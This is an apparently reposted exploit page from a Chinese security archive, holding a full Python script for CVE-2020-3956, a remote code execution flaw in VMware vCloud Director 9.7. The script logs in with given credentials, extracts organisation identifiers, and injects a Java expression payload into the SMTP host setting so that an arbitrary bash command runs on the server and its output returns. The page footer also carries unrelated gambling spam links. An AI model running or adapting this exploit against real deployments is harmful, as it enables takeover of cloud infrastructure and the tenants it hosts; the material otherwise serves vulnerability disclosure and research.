首頁 | 安全文章 | 安全工具 | Exploits | 本站原創 | 關于我們 | 網站地圖 | 安全論壇
  當前位置:主頁>安全文章>文章資料>Exploits>文章內容
vCloud Director 9.7.0.15498291 - Remote Code Execution
來源:https://citadelo.com/en/blog/full-infrastructure-t 作者:AARONSVK 發布時間:2020-07-06  
#!/usr/bin/python
# Exploit Title: vCloud Director - Remote Code Execution
# Exploit Author: Tomas Melicher
# Technical Details: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/
# Date: 2020-05-24
# Vendor Homepage: https://www.vmware.com/
# Software Link: https://www.vmware.com/products/cloud-director.html
# Tested On: vCloud Director 9.7.0.15498291
# Vulnerability Description: 
#   VMware vCloud Director suffers from an Expression Injection Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) via submitting malicious value as a SMTP host name.

import argparse # pip install argparse
import base64, os, re, requests, sys
if sys.version_info >= (3, 0):
    from urllib.parse import urlparse
else:
    from urlparse import urlparse

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

PAYLOAD_TEMPLATE = "${''.getClass().forName('java.io.BufferedReader').getDeclaredConstructors()[1].newInstance(''.getClass().forName('java.io.InputStreamReader').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','echo COMMAND|base64 -di|bash|base64 -w 0']).start().getInputStream())).readLine()}"
session = requests.Session()

def login(url, username, password, verbose):
	target_url = '%s://%s%s'%(url.scheme, url.netloc, url.path)
	res = session.get(target_url)
	match = re.search(r'tenant:([^"]+)', res.content, re.IGNORECASE)
	if match:
		tenant = match.group(1)
	else:
		print('[!] can\'t find tenant identifier')
		return (None,None,None,None)

	if verbose:
		print('[*] tenant: %s'%(tenant))

	match = re.search(r'security_check\?[^"]+', res.content, re.IGNORECASE)
	if match:																			# Cloud Director 9.*
		login_url = '%s://%s/login/%s'%(url.scheme, url.netloc, match.group(0))
		res = session.post(login_url, data={'username':username,'password':password})
		if res.status_code == 401:
			print('[!] invalid credentials')
			return (None,None,None,None)
	else:																				# Cloud Director 10.*
		match = re.search(r'/cloudapi/.*/sessions', res.content, re.IGNORECASE)
		if match:
			login_url = '%s://%s%s'%(url.scheme, url.netloc, match.group(0))
			headers = {
				'Authorization': 'Basic %s'%(base64.b64encode('%s@%s:%s'%(username,tenant,password))),
				'Accept': 'application/json;version=29.0',
				'Content-type': 'application/json;version=29.0'
			}
			res = session.post(login_url, headers=headers)
			if res.status_code == 401:
				print('[!] invalid credentials')
				return (None,None,None,None)
		else:
			print('[!] url for login form was not found')
			return (None,None,None,None)

	cookies = session.cookies.get_dict()
	jwt = cookies['vcloud_jwt']
	session_id = cookies['vcloud_session_id']

	if verbose:
		print('[*] jwt token: %s'%(jwt))
		print('[*] session_id: %s'%(session_id))

	res = session.get(target_url)
	match = re.search(r'organization : \'([^\']+)', res.content, re.IGNORECASE)
	if match is None:
		print('[!] organization not found')
		return (None,None,None,None)
	organization = match.group(1)
	if verbose:
		print('[*] organization name: %s'%(organization))

	match = re.search(r'orgId : \'([^\']+)', res.content)
	if match is None:
		print('[!] orgId not found')
		return (None,None,None,None)
	org_id = match.group(1)
	if verbose:
		print('[*] organization identifier: %s'%(org_id))

	return (jwt,session_id,organization,org_id)


def exploit(url, username, password, command, verbose):
	(jwt,session_id,organization,org_id) = login(url, username, password, verbose)
	if jwt is None:
		return

	headers = {
		'Accept': 'application/*+xml;version=29.0',
		'Authorization': 'Bearer %s'%jwt,
		'x-vcloud-authorization': session_id
	}
	admin_url = '%s://%s/api/admin/'%(url.scheme, url.netloc)
	res = session.get(admin_url, headers=headers)
	match = re.search(r'<description>\s*([^<\s]+)', res.content, re.IGNORECASE)
	if match:
		version = match.group(1)
		if verbose:
			print('[*] detected version of Cloud Director: %s'%(version))
	else:
		version = None
		print('[!] can\'t find version of Cloud Director, assuming it is more than 10.0')

	email_settings_url = '%s://%s/api/admin/org/%s/settings/email'%(url.scheme, url.netloc, org_id)

	payload = PAYLOAD_TEMPLATE.replace('COMMAND', base64.b64encode('(%s) 2>&1'%command))
	data = '<root:OrgEmailSettings xmlns:root="http://www.vmware.com/vcloud/v1.5"><root:IsDefaultSmtpServer>false</root:IsDefaultSmtpServer>'
	data += '<root:IsDefaultOrgEmail>true</root:IsDefaultOrgEmail><root:FromEmailAddress/><root:DefaultSubjectPrefix/>'
	data += '<root:IsAlertEmailToAllAdmins>true</root:IsAlertEmailToAllAdmins><root:AlertEmailTo/><root:SmtpServerSettings>'
	data += '<root:IsUseAuthentication>false</root:IsUseAuthentication><root:Host>%s</root:Host><root:Port>25</root:Port>'%(payload)
	data += '<root:Username/><root:Password/></root:SmtpServerSettings></root:OrgEmailSettings>'
	res = session.put(email_settings_url, data=data, headers=headers)
	match = re.search(r'value:\s*\[([^\]]+)\]', res.content)

	if verbose:
		print('')
	try:
		print(base64.b64decode(match.group(1)))
	except Exception:
		print(res.content)


parser = argparse.ArgumentParser(usage='%(prog)s -t target -u username -p password [-c command] [--check]')
parser.add_argument('-v', action='store_true')
parser.add_argument('-t', metavar='target', help='url to html5 client (http://example.com/tenant/my_company)', required=True)
parser.add_argument('-u', metavar='username', required=True)
parser.add_argument('-p', metavar='password', required=True)
parser.add_argument('-c', metavar='command', help='command to execute', default='id')
args = parser.parse_args()

url = urlparse(args.t)
exploit(url, args.u, args.p, args.c, args.v)
            

 
[推薦] [評論(0條)] [返回頂部] [打印本頁] [關閉窗口]  
匿名評論
評論內容:(不能超過250字,需審核后才會公布,請自覺遵守互聯網相關政策法規。
 §最新評論:
  熱點文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·Yahoo! Messenger Webcam 8.1 Ac
·VideoScript 3.0 <= 4.0.1.50 Of
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相關文章
·Microsoft Windows - 'SMBGhost'
·CompleteFTP Professional 12.1.
·vCloud Director 9.7.0.15498291
·Apache James Server 2.3.2 - In
·NEOWISE CARBONFTP 1.4 - Weak P
·Centreon 19.04 - Authenticated
·Plantronics Hub 3.13.2 - Spoke
·Vtiger CRM 7.1.0 Remote Code E
·Ayukov NFTP FTP Client 2.0 Buf
·EZ CD Audio Converter 8.0.7 De
·NetworkSleuth 3.0.0.0 Denial O
·NBMonitor Network Bandwidth Mo
  推薦廣告
CopyRight © 2002-2020 VFocuS.Net All Rights Reserved
中彩票的人之前的征兆 北京赛车pk10微信群apk 刮刮乐在线试刮 彩经网黑龙江时时彩 山东11选5证 期货风险度控制在多少钱 腾讯欢乐麻将外挂 真钱斗地下载 广东36选7开奖结果的 五分彩骗局步骤 世界杯比分查询 炒莱特币软件 湖南麻将规矩 新疆时时彩走势图开奖及时更新 500万彩票网22选5开奖 体彩排列5走势图 北京赛车pk拾开奖记录